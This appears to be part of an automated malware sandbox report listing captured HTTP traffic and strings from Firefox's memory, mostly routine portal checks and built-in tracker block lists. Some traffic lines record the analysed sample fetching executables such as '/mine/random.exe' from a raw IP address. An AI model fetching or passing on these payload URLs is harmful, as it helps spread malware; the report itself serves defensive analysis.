Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlRestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE moz-extension://6edd4cbe-8a9f-4158-beca-90f5feba9c8c/data/ua_overrides.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE moz-extension://6edd4cbe-8a9f-4158-beca-90f5feba9c8c/data/ua_overrides.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE moz-extension://6edd4cbe-8a9f-4158-beca-90f5feba9c8c/data/ua_overrides.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3260229875.0000019E4C068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3260229875.0000019E4C0EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpihttps://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozilla-20&sourceid=Mozilla-searchhttps://en.wikipedia.org/wiki/Special:Search?search=&sourceid=Mozilla-searchUpdateService:selectUpdate - the user requires elevation to install this update, but elevation is disabled for this version.https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmatch the pattern /^\{[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\}$/ihttps://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozilla-20&sourceid=mozilla-searchC:\Program Files\Mozilla Firefox\browser\features\formautofill@mozilla.org.xpiWebExtEvent actions should include a property "source", the id of the webextension that should receive the event.C:\Program Files\Mozilla Firefox\browser\features\webcompat-reporter@mozilla.org.xpi>\|[ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]][{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.faceboo
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
